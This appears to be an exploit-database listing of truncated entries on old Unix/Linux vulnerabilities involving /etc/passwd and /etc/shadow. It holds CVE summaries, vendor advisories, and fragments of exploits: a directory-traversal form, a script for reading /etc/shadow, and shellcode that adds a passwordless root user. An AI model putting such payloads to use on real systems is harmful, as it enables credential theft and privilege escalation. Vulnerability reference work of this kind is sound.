CVE-2003-0683

CVE-2003-0683 refers to an SGI IRIX NFS export (/etc/exports) issue where configuration entries using wildcards without explicit hostnames or groups can bypass access checks, potentially allowing unintended access. The vulnerability affects SGI IRIX 6.5.x (notably 6.5.21m/6.5.21f according to his...

Directory Traversal in SITEBUILDER - v1.4

Directory Traversal in SITEBUILDER - v1.4 With this Code you can view the /etc/passwd You need a Account. htmlbodypcenter bMein 31337 Exploit :-P/bbr form action="http://targethost.com/cgi-bin/sbcgi/sitebuilder.cgi" method=POST input type="hidden" name="username" value="targetuser" input...

CVE-2003-0177

SGI IRIX 6.5.x through 6.5.20f, and possibly earlier versions, does not follow "-" entries in the /etc/group file, which may cause subsequent group membership entries to be processed inadvertently...

HP-UX FTPD 1.1.214.4 - REST Memory Disclosure

HP-UX FTPD 1.1.214.4 - REST Memory Disclosure // source: https://www.securityfocus.com/bid/7825/info A vulnerability has been discovered in the HP-UX 11 ftpd daemon. The problem can be triggered using the FTP REST command. By specifying a specially calculated numeric argument to the command, it i...

CVE-2002-0762

CVE-2002-0762 : The shadow package in SuSE 8.0 lets local users destroy /etc/passwd and /etc/shadow or grant extra group privileges by lowering the filesize limits before programs modify those files, indicating a local-privilege-impact scenario due to improper enforcement of file-size constraints...

CVE-2002-1914

dump 0.4 b10 through b29 allows local users to cause a denial of service execution prevention by using flock to lock the /etc/dumpdates file...

Privelege escalation in util-linux chfn

Unchecked race conditions under file decriptors leaves ability to modify /etc/passwd...

Perl 5.6.0 (on Linux) getpwuid() leave /etc/shadow opened

I'm not sure how serious this issue is, but I think it may cause problems in some environments. The system is Linux, RedHat 7.0, Perl 5.6.0, glibc 2.2.4, latest updates. Recently I run 'lsof' on unprivileged Apache httpd process running modperl application and was pretty surprised to see...

CVE-2001-1175

CVE-2001-1175 : In vipw from the util-linux package, before version 2.10, editing /etc/shadow could leave the file world-readable in some cases, enabling local users to more easily perform brute-force password guessing. Supported details in connected docs show Red Hat advisories (RHSA-2001:95, 13...

CVE-1999-1346

CVE-1999-1346 affects PAM configuration for rlogin on Red Hat Linux 6.1 and earlier. A less restrictive PAM rule precedes a more restrictive one, allowing users to access the host via rlogin even if /etc/nologin has disabled it. The impact, as described, includes access to the host with potential...

Проблемы с vipw (weak permissons)

После редактирования /etc/shadow файл становится открытым на чтение...

Дырки в pkg-утилитах SCO

Можно получить доступ к содержимому /etc/shadow...

glibc-resolve-tr.sh

Charles Stevenson glibc-2.2 and openssh-2.3.0p1 Debian 2.3 , Redhat 7.0 This exploits is for glibc = 2.1.9x. [email protected] Edit this if you have a problem with path ssh=/usr/bin/ssh traceroute=/usr/sbin/traceroute FILE=/etc/shadow File to read echo "$ssh" echo " Checking permisions..." if...

glibc-2.2 / openssh-2.3.0p1 / glibc 2.1.9x - File Read

Charles Stevenson glibc-2.2 and openssh-2.3.0p1 Debian 2.3 , Redhat 7.0 This exploits is for glibc = 2.1.9x. [email protected] Edit this if you have a problem with path ssh=/usr/bin/ssh traceroute=/usr/sbin/traceroute FILE=/etc/shadow File to read echo "$ssh" echo " Checking permisions..." if...

Дырка в sash в Debian

При копировании /etc/shadow создаются файлы открытые на чтение...

[SECURITY] [DSA-015-1] New version of sash released

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - ---------------------------------------------------------------------------- Debian Security Advisory DSA-015-1 [email protected] http://www.debian.org/security/ Martin Schulze January 23, 2001 -...

Gopher2.3.1p0 and below remote buffer overflow.

Gopher2.3.1p0 and below has many overflowable functions in the daemon. Most of them overflow with hardcoded data that gets passed along - making it not possible to change any pointers. The "halidate" function is not one of those. If sent the request "halidate large buffer" you will overwrite a 51...

linux/x86 add user 70 bytes

Exploit for linux/x86 platform in category shellcode =========================== linux/x86 add user 70 bytes =========================== / Linux/x86 Appends the line "z::0:0:::\n" to /etc/passwd. quite old, could be optimized further / include char c0de = / main: / "\xeb\x29" / jmp callz / / star...

linux/x86 add user 70 bytes

linux/x86 add user 70 bytes. Shellcode exploit for linx86 platform / Linux/x86 Appends the line "z::0:0:::\n" to /etc/passwd. quite old, could be optimized further / include char c0de = / main: / "\xeb\x29" / jmp callz / / start: / "\x5e" / popl %esi / "\x29\xc0" / subl %eax, %eax / "\x88\x46\x0b...

Security Advisory 2000-006

-----BEGIN PGP SIGNED MESSAGE----- NetBSD Security Advisory 2000-006 ================================= Topic: /etc/ftpchroot parsing broken in NetBSD-1.4.2 Version: NetBSD 1.4.2 only Severity: medium to high if using /etc/ftpchroot, none if not. Abstract ======== A fix which attempted to make...